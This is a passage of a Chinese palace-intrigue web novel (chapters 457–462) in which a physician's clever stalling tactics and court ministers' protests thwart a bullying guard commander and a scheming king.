满朝文武,要拥护一个流氓? 这个形容一出来,周大人又被自己吓着了,双腿一软就要倒下去。 “老爷!” 一旁的周府随从惊叫一声,连忙伸手来扶,却没想到这边的动静正好落入了于大少耳中。 “哟?这是……周大人?” 盯着一身布衣的周大人,于大少愣了一下才回过神,眼底顿时亮起了一抹光芒! “周大人怎么会在这儿?” 扶稳随从的胳膊,周大人暗道不妙。 于大少只当纨绔的那些年,跟周府的子孙闹出过矛盾,他当时看不上这位,可没轻轻放过。 风水轮流转,今天怕是该他倒霉了! “周大人?怎么不说话?” 于大少将佩剑一抛,大步朝着周大人走了过来。 大内侍卫们也开始往这边挪动,很快便将周大人围了个严严实实。 “大人私下出行,是对这个故事很感兴趣吗?”于大少的问话也跟着步步紧逼。 周大人深吸了一口气。 “城中近日流言颇多,本官也有所耳闻,为保准确,特意前来亲耳听听,再禀报王上处置!” 这原本就是周大人的打算,这会儿说出来,也没什么可藏的。 于大少沉默了一瞬,却哼笑起来。 “禀报王上处置?既然周大人这么大义凛然,刚才小爷率兵前来,大人为什么迟迟不现身?” “我看你是相信了这个贱民的话——不对!我看你就是那个幕后主使!” 第四百五十七章 当街拦人 周大人第一次真心实意地相信了,人也是能蠢死的! “我是幕后主使,我还专门到这里来留下痕迹,你们带兵围进来,我也不跑!” 重重地叹了一声,周大人忍不住了,“你告诉我,有这样的幕后主使吗?” 他扬起声音说话,于大少的脸色瞧着就没有刚才那么好看了。 “周大人的意思是,小爷冤枉你了?” 在周大人面前站定,于大少的声音听上去咬牙切齿的。 不等周大人开口,他又忽然狞笑一声,“您倒是会给自己脱罪!可惜啊,小爷我这一双火眼金睛,什么都能看得一清二楚!” “你……” 周大人沉默了。 跟傻子说话,费劲。 跟以为自己是聪明人的傻子说话,还不如不说! “哈哈,周大人,你的阴谋被小爷识破,无话可说了吧!”见周大人抿着嘴不说话,于大少又哈哈大笑起来。 周府的随从扶着自家老爷,嘴角不住地抽抽着。 王上这是从什么地方找来的二货? “于大少要进宫汇报案情吧?本官与你一道前去。” 周大人闭了闭眼,表情安详,心如死灰。 有什么话,他还是去和王上说吧。 就算王上再有失从前的水准,也比这个于大少强! “进宫?你还想进宫?” 谁知道于大少不走寻常路,叉着腰一挥手,让一众大内侍卫又上前两步,把周大人围得更紧了些。 “你们要做什么?”周大人皱起眉头,“于统领,你这是在奉旨查案!” “本统领当然知道这是在奉旨查案。” 于大少的声音显得懒洋洋的。 “查案查到了周大人身上,实在是让人大感意外,为了保证不要出现什么差错,本统领现在要将大人请回府中,先仔仔细细地问问话,应该很合理吧?” 周大人压抑着愤怒深呼吸,“很不合理!案情有变,应当——” “带走!”没等他把话说完,于大少便厉喝一声! 当初他不过是看周府出门采买的小丫鬟长得好看,跟她多说了两句话,又想买来给自己当小妾,就这么一点儿小事,惹得这个周大人大动干戈! 他又是亲自登门警告,又是让周府大门严防死守,里子面子一个都没留! 为了那件事,家中的老太爷对自己不满了好一阵子,他做低伏小了好几个月才翻篇! 这笔账,于大少一直都记着呢! 眼下好不容易找到机会,他怎么能放弃? 看着周大人抗拒不得,被推搡着往外走,于大少的眼底又闪过一抹兴味。 这周大人虽然讨厌,可周府的美人却多得很,小丫鬟还不算什么,周府小姐才是天生丽质…… “把这个贱民也一并带走!小爷要好好地问话!” 迫不及待地想对周府下手,于大少抿了抿嘴角的口水,挥手招呼的动作里满是兴奋。 挤挤挨挨站在墙边的百姓们这会儿是敢怒不敢言。 这一行军爷,怎么看都不像是干正经事的! “哟?这么热闹?” 周大人被推着走出茶楼,正在挣扎,迎面忽然传来一声调侃的问话,还伴随着长长的口哨声。 他眼前一暗,被一个高大的身影挡住了去路。 “你是哪根葱?” 于大少慢了一步从茶楼走出来便看到了这个场景,眉头一皱便走上前去,抬手朝来人推了一记,“赶紧滚!奉旨办案也敢阻拦?” 没承想他的动作落在对方身上,几乎没有引起半点波澜,甚至还将于大少的手震得生疼! 他倒吸一口冷气,还想说话,对方又笑了起来。 “奉旨办案?王上什么时候用地痞流氓当差了?你这瞎话编得也太瞎了点吧?” 于大少的呼吸顿时就不平静了,“大,大胆!” 竟然敢说他是地痞流氓! “怎么?你也知道自己大胆?” 岑灵川背着双手站在原地一动不动,只似笑非笑地看着于大少。 “光大胆应该还不够,我看你是狗胆包天!” 于大少的整张脸顿时扭曲起来。 “林大夫。” 周大人这时候认出了来人,心情变得十分复杂。 这几日来,朝中大人们没少私下讨论王上身边发生的事情,而其中最让他们在意的,就是那位柳大夫了。 饶是有王后的那一番话,几乎挑明了南疆王是在拿柳大夫当筏子,借力扳倒慕家,可大人们还是忍不住地怀疑。 毕竟,有灵美人这个教训在先,谁知道会不会梅开二度? 周大人也赞成从柳大夫的方向下手,可还没找到机会,自己却先被于大少这蠢货绊住了脚,还正好被柳大夫的师兄撞上! 岑灵川朝周大人点了点头,神态客气,又很快将注意力转回到了于大少的身上。 原因无他,于大少正摩拳擦掌地冲上来,要给岑灵川的眼睛来上一拳! 岑灵川侧头躲过他的攻击,脚下一扫,于大少咚地一声便摔了个大马趴。 “我就说你是地痞流氓吧?” 收了脚,岑灵川哼笑一声,又冷冷看着一旁傻眼的大内侍卫们。 “你们也想挨打?” 大内侍卫们你看看我,我看看你,都有些摸不着头脑。 他们真的是奉王上的旨意来办差的啊! 可眼前这人怎么,怎么能如此理直气壮? “宫宴在即,你们闹出这样的乱子,是生怕王上宴请客人的兴致没有被搅合了是不是?”岑灵川眯起眼睛,“巧了,我正要入宫赴宴,方才发生的一切,我马上就去王上面前,原原本本地复述一遍。” “我就不信,王上会是这种公私不分之人,任由你们为祸王都,随意残害城中百姓!” 这一顶高帽子戴上去,一行大内侍卫们的脸都变了,齐齐朝着于大少看。 他们可什么都没干! 伤人,动粗,口出狂言,都是这位的授意! 于大少费力地从地上爬起来,这会儿也认出站在自己面前的人是谁了。 未来宠妃的师兄,他好像惹不起! 能屈能伸的于大少立刻露出一个笑容,“诶呀,林大夫!误会,这都是误——” “不是误会!请这位大人替民妇的夫君做主啊!” 第四百五十八章 到王上面前去说吧! 一个衣着简朴的女人这时候一头撞开围成一圈的大内侍卫们,小跑着冲到岑灵川脚边,又扑通一声跪了下去! “夫人!” 说书先生惊叫一声,又要弯腰去拦,“你快走吧夫人!” 女人用力摇着头,一双乞求的眼睛只看着岑灵川,“大人!民妇可以作证,我家夫君什么都没做,他真的只是说书挣些银钱啊!求大人替夫君讨个清白!” 女人说完便伏地不起,看着她的模样,岑灵川的眼角忍不住抽了抽。 这说书先生是安王手下的影卫找来的,讲的这个故事也是影卫们的授意,从这一方面来说,此人妥妥的是居心不良! 发现这些影卫们的所作所为,岑灵川便暗中盯住了这间茶楼,本想静观其变,南疆王那边却按捺不住,率先下手了。 不能让南疆王的日子过得太舒心,这就是岑灵川假装经过,来多管闲事的目的。 可他没想到,这么短的时间里,竟然又冒出来一个夫人! 安王那帮手下的动作也不慢啊! 定了定神,岑灵川清清嗓子,“啊,这位夫人您别担心,我现在就让人报告大理寺,一定把您夫君的案子查个水落石出!” 慕丞相死后,慕家在王都的地位虽然开始四分五裂,慕家的子孙也接二连三被从朝中要职上撤下,可大理寺冯大人的地位一时间却怎么也无法被替代。 大理寺中案件如山,错综复杂,无人愿意接手,也无人有这个本事接手,南疆王试了几次都无法,只能不情不愿地暂由冯大人继续坐在那个位置上。 岑灵川打着自己的算盘,冯大人眼下是王都所剩无几的清流了,这案子搁到大理寺去办,多少还能有点保障。 “林大夫且慢!” 他话音刚落,周大人却奋力扬声,“林大夫请听我一言——唔唔!” 于大少用眼神指使着大内侍卫,把周大人的嘴死死捂上,一边又带着讨好的笑容朝岑灵川狗腿地走了两步。 “林大夫,您千万别听这老头儿的胡言乱语,他和这个说书的是一伙儿,想尽办法要脱罪呢,您可不能被他蒙骗了!” 于大少在御前当差也有不少日子了,从前南疆王盛宠灵美人的时候,看着灵美人身边的宫人是怎么跟着鸡犬升天的,他没少羡慕过。 如今要是他能攀上林大夫,那前途岂不是又能不可限量一回! “嘿嘿嘿……” 想到这儿,于大少的笑容越发谄媚。 “林大夫,今晚的宫宴可是重头戏,您千万别为了这些个贱皮子就坏了兴致,还是都交给小的们处理吧,您快进宫去,陪娘娘说说话!” 他早就听见南疆王的安排了,会在今晚的宫宴上正式册封那位柳大夫做皇贵妃! 这可是灵美人都没有的待遇! 听见于大少的改口,岑灵川挑了挑眉,“哦?你一个地痞流氓,要怎么处理朝中大员?” 于大少:…… 他要说几次? 他不是地痞流氓! 他是大内统领!统领! “我——” 实在气不过,于大少还想开口,岑灵川已经转过头,一巴掌呼在那个捂嘴的侍卫手背上。 “嗷!” 他指间夹着一枚银针,扎在手背某处,那侍卫顿时跳着脚连连喊疼,顾不上管周大人说不说话了。 “林大夫!”周大人得了自由,“老臣听说此处有异特来调查不想遇到于大少还闹出误会,此事的确有问题请您帮个忙将所有人送去大理寺再传信知会王上请他定夺!” 生怕又被捂嘴,周大人的话说得又快又密,两句话下来大口大口地喘着气,好悬没把自己憋死。 岑灵川眨了眨眼,又眨了眨,不得不在心里默念了几遍,才捋清楚这长长的句子。 周大人的口条,真好! “诶你这个老东西!” 另一边的于大少也终于从念经一样的声音里回过神来,怒而朝周大人大步走来,“小爷我现在就让你知道厉害!” 他高高扬起手臂,却被岑灵川一把攥住了手腕,向后猛推了一记。 于大少“诶呦”一声,脚底打滑,足足退了三四步才一屁股摔倒在地! 他愕然抬头。 一个大夫,也有这么大的力气? “瞧你,把人家周大人都吓成什么样了?” 岑灵川抱着胳膊挡在周大人面前,眼珠子转了转,“我倒是觉得周大人的话能说通,起码比你这个流氓强!” 于大少终于彻底气急败坏:“小爷不是流氓!我是给王上办差的!” “既然如此,差事出了变故,你为什么不告知王上?而要自行处理?” 岑灵川冷笑一声,忽然道,“我知道了,你是想公报私仇吧?走,现在就跟我入宫!带上这些人,咱们到王上面前,把整件事情全部摊开讲个清清楚楚!” 闻言,周大人猛地一愣,“这……” 几句话的功夫,怎么要到御前断案了? 岑灵川眉眼疏冷,没解释什么。 收到前往宫中赴宴的请柬时,他就知道今天晚上肯定不能善了。 自从叶晚竹回到王宫,便和外界失去了联系。 隐川暗中跟在她身边,几日下来却一点消息也没传出,要么是他出了事,要么是王宫中有眼线,不好打草惊蛇。 无论哪种,都说明这个王宫的情况越来越复杂,也越来越被南疆王一手掌握了。 这可不是个好兆头。 不能让南疆王的日子过得这么舒服,得给他找点事干才是。 “你们几个各有各的道理,我也听不懂,我只看见这大内统领仗势欺人!” 打定了主意,岑灵川越发理直气壮。 “不能让这样的流氓侮辱了王上的名声,更不能让他打着王上的旗号胡作非为!今天这件事,必须查个清清楚楚,周大人,您觉得有没有道理?” “……没错!” 思忖片刻,周大人还是咬牙点了点头。 大理寺中虽然有冯大人坐镇,但王上想把他换掉的心思早已不加掩饰,说不定会借着这个机会下手。 朝中不能再出现更多于大少这样的货色了! 周大人一点头,那说书先生也跟着附和,众目睽睽之下,于大少只能妥协,带着一行人朝王宫而去。 “林大夫。” 路上,周大人悄悄地靠近了岑灵川。 第四百五十九章 咱们得拖延时间 “怎么了大人?”岑灵川看看身边几个大内侍卫,不动声色地放慢了脚步,又露出一个威胁的眼神。 侍卫们齐齐一顿,很有默契地各自散开,假装没看到这边的动向。 于大少抱着将事情就地解决的打算,只带着人出宫,马匹囚车一概没准备,眼下他们正在步行前往王宫的路上。 按照规矩,这些侍卫们应该将人犯牢牢拿住,当然也包括周大人。 可是有林大夫这个变数在…… 想想王上册封皇贵妃的打算,侍卫们离开的脚步更快了。 万一这位像告于大少一样也告他们一状,他们可受不了! 见着身边没了眼线,周大人先是顿了顿,才抛开那点规矩,又压低了声音。 “请林大夫再想想办法,拖延入宫的时间。” 岑灵川眉头一皱,十分不解:“?” “宫宴傍晚举行,这会儿朝中官员们还没出发入宫。” 周大人轻声道出一句,又定定地望着岑灵川,过了片刻,却只收获了一双疑惑的眼睛。 “周大人,”岑灵川扯了扯嘴角,“我是个粗人,还请您有话直说。” “……” 这才反应过来眼前的不是同僚,只是个游医,周大人不由得露出一个讪讪的笑容,又转瞬即逝。 “王上宠信于统领,若是无人在场,只怕会偏听偏信,到时候,只怕对您也有所不利。” 把话挑明了说,周大人犹豫片刻,又心一横,“今天这件事,似乎也是王上的设计,若真是如此,他更是不会改变主意,说不定还会嫌您多事,暗中打击。” 这样够直白了吧? 岑灵川惊讶地挑高了眉尾,“大人?” 他与这周大人只有几面之缘,知道这位和慕相不太对付,但没到了水火不容的地步。 没想到,周大人竟然会这样描述王上? 周大人涨红了脸,却没住口。 “王上存着的心思或许不善,只有让他顾及朝中官员的想法,才有希望认真调查此案……” 想到这案子本来就是王上的一手促使,周大人又坑坑巴巴地道,“至少,至少不至于借故生事。” 岑灵川闻言暗暗发笑。 连这样的词都说出来了,可见周大人对南疆王的怨念之深。 不过,这样正好! “可是拖延到天黑恐怕有些难度。” 抬头看了看明晃晃的太阳,岑灵川顿时又皱起眉头,开始发愁。 那说书先生每天上午到茶楼开张,今天讲了书,又经历过一番折腾,这会儿也才刚刚中午。 这剩下的几个时辰要怎么拖? “不必等到天黑!”周大人连忙摇头,“午膳过后,有几位大人要入宫与王上议事!只要拖延到那时就行!” 王上这几日针对慕家太过,朝中屡屡变动,麻烦也跟着一窝蜂地涨。 几位官员受不了这样频繁的折腾,早就递了折子,准备赶在宫宴前好好再劝劝王上。 岑灵川盘算了一下,轻笑一声,“这个简单!” 一个多时辰,他还是能想想办法的。 闻言,周大人瞪大了一双渴望的眼睛,巴巴地看了过去。 岑灵川拍拍他的肩膀,大步朝前。 “诶!那流氓!”他朝着于大少喊了一声,很不客气。 于大少正大步流星地走在队伍最前方,满心都是一定要让王上替自己做主,忽然听见这么一声,脚下忍不住一个趔趄! “小爷是统领!”他忍无可忍地转过头,“统领!” “无所谓,”岑灵川一脸不耐烦地摆手,“流氓统领,我想起一件事要跟你说,你过来,得保密!” 于大少还没喘匀的气这就更起伏不定了。 流氓统领? 合着他还升级了? 跟在旁边的大内侍卫们也心绪不定。 这话是不是把他们也捎带上了? “快呀!”岑灵川仿佛什么也没注意到,急切又不耐地继续朝于大少招手。 于大少深吸一口气朝他走去,生平头一次憎恨起权势来。 比他有权有势的人,还比他讨厌,实在是难以忍受! “说吧——嗷!” 刚走到岑灵川面前要开口,于大少忽然感到脚下一轻,毫无准备地摔倒在地! 岑灵川往后退了退,语气讶异,“诶呀?流氓统领,您这是干什么?” “你!” 于大少用自己最快的速度爬起来,一张脸气得扭曲,“你是故意的!” 他摔倒的时候,看见岑灵川收脚了! “好端端的,我绊倒你干什么?”岑灵川摊了摊手,“我是真有要紧事要说……” 他倾身过去,看似要扶起于大少,实则手腕一转,死死掐住了于大少手臂内侧的一块软肉! “嗷嗷嗷!”于大少的喊声更加凄厉了。 “你疯了?”他怒瞪着眼前的岑灵川。 岑灵川又飞快地收回手,一脸惊慌,仿佛被于大少这忽然的两嗓子吓得不轻。 “你才疯了,无缘无故瞎喊什么?”他又后知后觉般地恼怒起来,“你是不是被疯狗咬了?” “小爷弄死你!” 于大少咬牙切齿地骂着,抡圆了胳膊朝岑灵川面上砸去! 不过是师妹侥幸得了王上的宠爱罢了,这大夫一家实则也是贱民,怎么敢对他耍阴招? 岑灵川躲了一下,没闪开,被于大少一拳砸在颧骨上,闷哼一声朝后倒退几步。 于大少一击的中,却震惊地看着自己的拳头。 他有这么厉害? “你这绣花枕头!” 信心大增,于大少再次抡起拳头扑了过去! 岑灵川也不肯示弱,哼了一声便站起身,和于大少你一拳我一掌地扭打到了一起! 一个是大内统领,另一个是未来宠妃的娘家人,这两位按说都身份尊贵,现在却滚在地上,彼此掐着对方的脖子,难舍难分。 大内侍卫们看呆了,一时不知道该如何是好,直到被周大人的喊声惊醒,才七手八脚地上前将两人分开。 两人打得上了头,大内侍卫们也挨了不少拳脚,终于让两人各自后退,却又立刻发现了不好! “于,于统领好像晕过去了……” “他的脑袋流血了!” “不好,快找大夫来!” 第四百六十章 你们统领的气性也太大了 这些侍卫们跟在于大少身边,没少受他的关照,着急的心情来得格外真情实感。 还没等他们张罗好,岑灵川也晃了两下,身子一歪摔倒在地! 又晕了一个! 大内侍卫们这下也要跟着眼前发黑了,这可是王上的贵客啊! 特别是看着贵客脸上青紫红肿的一块块痕迹,众人你看看我,我看看你,谁也拿不了主意。 王宫里有御医,可他们把人就这么送到宫中,被王上知道,会不会挨个砍了他们的脑袋? 现在可没有于大少给他们顶着! “周,周大人……您看,这如何是好?” 一个侍卫转了转眼珠子,在场中找到了能说上话的人! 一众侍卫的目光顿时全都朝着周大人看了过来。 周大人木着一张脸,不过这会儿不是对这些侍卫们的。 这样的办法也行啊? 他用力叹了口气,这才回过神来,冷笑着朝这群期期艾艾的侍卫们扫了一眼。 出事了,才想起来他是朝中官员? 侍卫们讪讪地笑,表情充满讨好。 “罢了,”周大人状若无奈地一摆手,“这样吧,还是先去大理寺,你们再去找个大夫,待于统领和林大夫清醒过来再议!” 六神无主的大内侍卫们总算是找到了主心骨,连忙动了起来,扛人的扛人,找大夫的找大夫,一窝蜂似的往大理寺而去。 等到了大理寺,冯大人却不在,一问才知道,是被王上临时一道圣旨,派去王都附近的一个镇上查案了。 冯大人位列大理寺卿,查个案子的补充线索,还要亲自前去? 不用说,这又是王上的一点小心思了。 周大人不住地叹着气,感觉自己的脑袋也跟着疼了起来。 宫宴在即,王上故意支开冯大人,摆明了还是想打压慕家这一派,好让朝中其他官员都瞧瞧,站错了队是什么下场。 可这也未免太不顾颜面了些! “周大人……您这是……” 留在大理寺的蒋少卿不解又困惑地看着周大人身边的这一群人,想破了脑袋也猜不出这都是发生了什么事情! 周大人回过神来,看着年轻的少卿大人不好多话,只让他先帮忙腾出几间屋子,好歹让伤员先躺下。 受伤的不止岑灵川和于大少,那说书先生又断臂又被刺,鲜血流个不停,脸色灰白,眼瞅着就要不行了似的。 蒋少卿见状也不敢多话,连忙让人把这几位都送到屋中,周大人看着身边忽然空余下来,又想起一件事。 “大夫怎么还没请来?”他又烦闷地朝着那些大内侍卫问话。 在王上身边行走,怎么也这么没有眼色? 还没等侍卫们说什么,一个声音忽然从院中传来,“林大夫醒了!” 周大人一喜,连忙快步往屋中跑去。 岑灵川的确已经“醒”了,正坐在床上摸着自己脸上的伤,一边还不住地倒吸着凉气。 虽然是为了拖延时间,也为了让于大少彻底无话可说,岑灵川这几拳挨得心甘情愿,可下手太重,他也会有怨念的。 听着周大人在院中询问大夫的事情,岑灵川一跃就跳到了地上,“不用找大夫了,我来吧!” 周大人刚进屋的脚步这就一顿。 他来? 那还怎么拖延时间? 可岑灵川却已经穿好衣裳,快步朝于大少所在的屋中走去了。 “虽然于统领不分青红皂白地冤枉我,还打了我一顿,但看在公务要紧的份儿上,我还是不计前嫌地帮他一把好了。” 正在屋中帮于大少清理伤口的大内侍卫们闻言,不由得对他刮目相看。 原来林大夫是这种以德报怨的人物啊! 岑灵川装模作样地走到床边,翻看了几下于大少的情况便皱起了眉头。 “诶呀,于统领头上伤的这处甚是凶险,好在我有秘传的丹药,先给他吃一颗。” 说着话,他眼疾手快地从怀中取出一个小瓷瓶,将里面的丸药硬塞进了于大少的喉咙里。 于大少被噎得呼吸困难,忍不住咳嗽了几声,眉头也跟着皱起。 “统领动了!”一旁的侍卫们却露出惊喜的模样。 岑灵川不动声色地笑了笑。 他下手有数,于大少的脑袋只是磕破了皮,远到不了要命的地步。 而他刚才给的那颗丸药,也不过是普通的止血丹而已。 “别嚷,”岑灵川伸出手指在唇边比了比,又压低声音,“虽然命保住了,但我还得给于统领行一套针,免得他的伤口什么时候又大出血。” 一听这话,侍卫们又不敢出声了。 岑灵川打发了几个人出去准备热水和毛巾,自己从随身的药箱里摸出了一卷封得严严实实的金针,打开摊在床边,有模有样地一支支往于大少背上扎。 他没学过针灸,但人身上的穴位还是能认清楚的。 避开要害,岑灵川手中的针无情地不停落在于大少身上。 周大人站在一旁,看着岑灵川这下手飞快的模样,不知道为什么打了个哆嗦。 他也针灸过,怎么感觉不是一回事呢…… 一卷金针都用完之后,岑灵川终于收了手,这时候,于大少已经能和刺猬媲美了。 连绵不断的疼痛也让于大少不得不睁开了双眼,看着眼前完全陌生的景象,他愣了一下才出声,“怎么回事?” “统领您醒啦!您受了伤,林大夫正在给您针灸呢!”一个侍卫连忙上前禀报。 于大少又静默了片刻,先前的记忆才回到脑海当中,顿时一个鲤鱼打挺就要起身! “让开!小爷才不要那个狗娘养的给我治病!他是——嗷!” 一句话还没说完,剧痛袭上,于大少惨叫一声,又趴回床上。 岑灵川捏着一根金针,面无表情地看着他,“统领,您这就有点不识好人心了吧?你的命可是我救回来的,我要是狗娘养的,你岂不是成了狗孙子?” “你他娘……” 于大少的话说到一半,忽然就没了动静,站在他身边的侍卫小心翼翼地上前查看,又怯生生地抬起头。 “统领,统领好像又晕过去了……” 没人看得到的地方,岑灵川收回了另外一只手。 “你们统领气性太大,这针都移位了,得重扎!” 第四百六十一章 我想见见师妹 反复将于大少扎醒再打晕了那么三五回之后,眼看着于大少是真要不行了,时间也耽搁得差不多,岑灵川这才不紧不慢地拔了所有金针,又把最后的止血丹塞到于大少嘴里,带着他往宫中去。 “你这庸医!” 于大少伤痕累累地趴在侍卫找来的担架上,恨恨地看着岑灵川。 “你根本就不会治病!” 这是什么破针灸,扎得他全身都疼! 岑灵川走在他旁边,幽幽地叹着气。 “于统领,不是我说,你自己针灸的时候随便乱动,不听医嘱,我有什么办法?也罢,你不相信我的医术,那就到宫中去,让我师妹给你看看,这总可以了吧?” 一提到这位柳大夫,于大少顿时又变成了哑巴。 要是让宫里那位知道,是他把林大夫的脸打成这样的,那他还治什么病? 不如直接去砍头好了! “这个……林大夫,我昨天晚上喝了点酒,刚才酒劲上来了,不知道怎么回事,对你无礼,你,你别介意啊!”他的口风转得相当快。 岑灵川闻言也只笑了笑,“无妨,只要于统领能恢复正常就行!” 勉强达成一致,一行人来到宫中的时候,果然正赶上南疆王正在御书房里接见几位大臣。 听着这些官员们如出一辙的劝说,南疆王的表情已经分外不耐,这会儿收到外面的消息更是眉头紧皱。 “朕让他们去抓人,他们把人带回宫中干什么?莫非还得朕替他们查案不成?” 德水躬着身子,只能一脸愁苦地承认,“奴才,奴才也不知道……” 他只知道外面乱哄哄地来了一群人! 南疆王神情一厉,“朕要你何用!” “王上!” 御书房里的官员们也听到了外面的动静,有人上前道,“周大人也在外面,您看,是不是让周大人进来讲讲发生了什么?” 南疆王这才凝神朝外看去,眼中闪过一丝不解。 “让他们进来!”片刻后,他才朝着德水点了点头。 * 两炷香的功夫之后,终于听完这一众人的发言,又勉强弄清楚了外面是怎么回事,南疆王将摆在桌上的一对崭新的镇纸都砸到于大少的头上去了。 “你长着脑子吗?”他扯着嗓子,几乎要喊破音,“你抓周大人干什么!” 把这说书先生带走杀了,不就没事了吗? 现在倒是好了,扯出这么一串不相干的事情来! 南疆王鼻子不是鼻子,眼睛不是眼睛地看着于大少。 “蠢货!” 于大少带着一众大内侍卫跪在地上,垂着脑袋,连一个字都不敢说! 私心抓了周大人已经让王上如此怒不可遏,要是他再出声,让王上知道林大夫的脸也是他打的,那他就更没好果子吃了! “算了吧王上,于统领这也是急着想把案子查清楚。” 没想到,开口帮他说话的人竟然是岑灵川。 于大少猛地抬起脑袋看了过去! 难道他真的误会这林大夫了? 南疆王这会儿也在看着岑灵川,目光聚焦在他伤痕累累的脸上,“这是怎么回事?谁打的?” 于大少控制不住地打了个哆嗦! “啊,上山采药摔的。” 岑灵川轻描淡写,又继续道,“于统领年轻气盛,用错了方法,好在没酿成什么大错。” 闻言,南疆王的表情好像好看了一点,轻飘飘地哼了一声。 “也罢,既然林大夫都为你求情了,那就下不为例!” “多谢王上,多谢王上!” 于大少先是难以置信,随后又变出一脸狂喜。 “不过你得给朕戴罪立功!”南疆王的语气依旧沉沉的,“把这件案子查得水落石出,不准有一点儿闪失,明白了没有?” 于大少又是一迭声地答应着。 “还有,挑个日子,你亲自到周大人府上去,登门道谢,周大人若是不原谅你,你就给朕一直在周府门前跪着!” 南疆王看了一眼周大人,这才又加上了这么一句。 于大少继续应下,周大人站在一旁,却是脸色难看,手脚发僵! 当初他给于大少没脸,不准他到周府登门拜访的事情还被弹劾过,王上不可能不知道,现在却这样说,这是什么意思? 嫌他不该出现在茶楼,坏了于大少的准备;还是真的对他起了疑心,要收拾他? 无论哪种,都让周大人的心七上八下地跳个不停。 另外一边,看着南疆王打发于大少离开,站在一旁被冷落了的官员们也是心下恻恻。 这不是明摆着的偏心吗? 于大少从前的事迹,官员们也都知道得差不多,今天这位都把差事办成这样了,王上居然只扔了两个镇纸? 甚至连差事都没从于大少手里夺了去! 再看看挨骂挨打,还要被仇人登门的周大人,厚此薄彼在这一刻实在是具象化了。 几位大臣互相看看,均是眉头紧皱。 他们方才在这里苦口婆心地劝了王上半晌,请他千万要公允行事,现在看来,全都是无用功! 心灰意冷控制不住地从几位眼底泄露出来。 “王上!您这边的事情处理完了吧?” 岑灵川不管御书房里又变得诡谲起来的氛围,目送着于大少等人先后离开,他上前一步,朝南疆王拱手。 对上这位,南疆王面上的笑容就越发舒展。 “都是些琐事,不听也罢,林大夫这么早就进宫来,可是有什么事情要与朕说?” 认出岑灵川的身份,一个大臣想说话,却同时被他身边的几个同僚伸手死死拦下。 这位一看也是王上的亲信,当面开口驳斥他,那能讨得了好吗! 岑灵川也不客气,哈哈一笑。 “不是什么要事,就是几日不见,也不知道师妹在宫中能不能住得惯,所以想早点过来,和师妹说说话,王上,您看方便吗?” 顿了顿,他又道,“对了,符师姐应该也快到了,她肯定也想见见师妹呢。” 只是探望,这要求未免太过简单,一众官员们闻言都松了口气。 可下一刻,南疆王却摇了摇头。 “现在恐怕不太方便。” 第四百六十二章 朕让你死的痛快一点! 不方便? 别说是岑灵川,就连一旁站着的几位大臣闻言都怔愣了一下,又面露不解。 这大白天的,有什么不方便? 可大臣们朝上方看去,南疆王的脸色似乎又变得难看了几分,不由得赶紧收回目光,佯装自己不存在。 德水站在南疆王身边,这会儿又感到背上有些凉飕飕的了。 自从三天前被强行带回玉兰殿,那位柳大夫便表现出了十成十的抗拒,将自己关在屋中闭门不出,连饭都不吃,俨然是要绝食抗议。 南疆王亲自去了几趟,隔着房门把好话都要说尽了,也还是没能让柳大夫开门。 一国之君天天吃闭门羹,心情能好得起来吗! “王上,是不是师妹不适应宫里的生活?” 岑灵川怕是御书房里唯一一个看不懂南疆王脸色的人了,还自顾自地皱着眉头。 “王上有所不知,我等在山林乡野之间行走惯了,甚少在一个地方圈着,师妹肯定是憋得慌,王上若是觉得身体好得差不多了,还是放师妹出宫吧!” 这话一出,一旁的大人们又齐齐瞪大了双眼! 南疆王要册封一个什么都没有的游医当皇贵妃的这件事情,已经在王都的高层之间传开了,可皇贵妃本人的师兄,这会儿怎么表现得好像什么都不知道一样? 在场的都是人精,很快便想通了。 恐怕不是不知道,而是故意装作不知道吧! “王上,林大夫的话也不是没有道理!” 礼部的段大人双眼一亮就走上前去,“柳大夫在宫中也住了这么长时间,您要道谢,这诚意怎么着都够了,总也不好折了柳大夫的福气!” 柳大夫只是一介游医,凭空被推到那么高的位置上,也不怕闪了腰! “正好林大夫来接人,不若今日宫宴之后,微臣替您安排,将二位妥妥帖帖地送到御赐的宅子里去吧?” 段大人又躬了躬身,三言两语,就把岑灵川的目的直接换成了接人。 岑灵川也不点破,反而笑着跟上,“既然如此,那就要麻烦这位大人了。” “好说,好说!” 看岑灵川没有拒绝的意思,段大人面上的笑容更加灿烂。 只是他的表情还没有完全展开,就被南疆王一巴掌在桌上拍散了。 “放肆!” 南疆王霍然起身,“段大人,你在公务上多话插手,朕已经不说什么了,可你现在连朕的后宫之事都想指摘,怎么,这王上的位置,要不要换你来当?” 他的声音阴恻恻的,听得人后背发凉。 段大人咽了咽口水,强撑着抬起头,又深吸了一口气。 “王上,您要册封柳大夫为皇贵妃,此事还请您三思!” 事已至此,还不如把话挑明了说! “柳大夫虽然是您的救命恩人,可恩情也不至于如此偿还,实在,实在是不妥!” 听段大人都这么说了,一旁的大臣们原本还愣着,这会儿也纷纷又跪了下去,“请王上三思啊!” 这柳大夫来路不明,怎么能随随便便就入宫为妃,还是那样高的位份? 况且…… “什么?皇贵妃?” 岑灵川从方才就直勾勾地瞪着双眼,一副完全傻眼的模样,直到这会儿大臣们纷纷跪地,他才猛地一激灵,又控制不住地失声道,“那是啥?很厉害吧?” “是后宫中仅次于王后的位置。” 他这话一听就是什么都不知道,段大人压低了声音,飞快地给岑灵川解释。 这位林大夫似乎真的不知道王上的安排,那柳大夫呢? 不会是王上剃头条子一头热吧? 想到还真有这种可能,段大人的心思就更活络了。 不能再让王上这么肆意妄为下去了! “仅次于王后?那不就等于慕丞相?” 岑灵川听了段大人的话,表情更错愕了,还混着惊恐。 “王上,我师妹何德何能,不敢和慕丞相比啊!您还是快收回成命吧,小人这就带着师妹离开王都,保证什么都不要!” 不知道是想到了什么,他打了个哆嗦,便猛地朝着南疆王跪了下去。 岑灵川这一跪,官员们连忙也又跟着喊起了三思。 人家自己都不愿意呢,王上这强买强卖的,多不好啊! 若是放在从前,这些大臣们纵使心底不满,最多也只是上几道劝诫的折子,再入宫小心翼翼地探探王上的口风,绝对不敢像现在这样近乎逼迫地要求南疆王改变主意。 也不知道是南疆王最近做了太多不靠谱的事情,还是大臣们也受了那说书先生故事的影响,总之,他们对王上的畏惧,不知不觉间就淡了下去。 “你们……” 南疆王站在桌后,脸色铁青地看着下方朝他连连磕头,又一迭声大喊着请他三思的官员们,气得止不住地喘着粗气。 “放肆!朕的私事还轮不到你们来过问!”他怒不可遏,“都给朕滚,现在!” “王上!”段大人已经报了鱼死网破之心,“王上若不收回成命,微臣就跪死在宫门前!” “想死?那还不简单!” 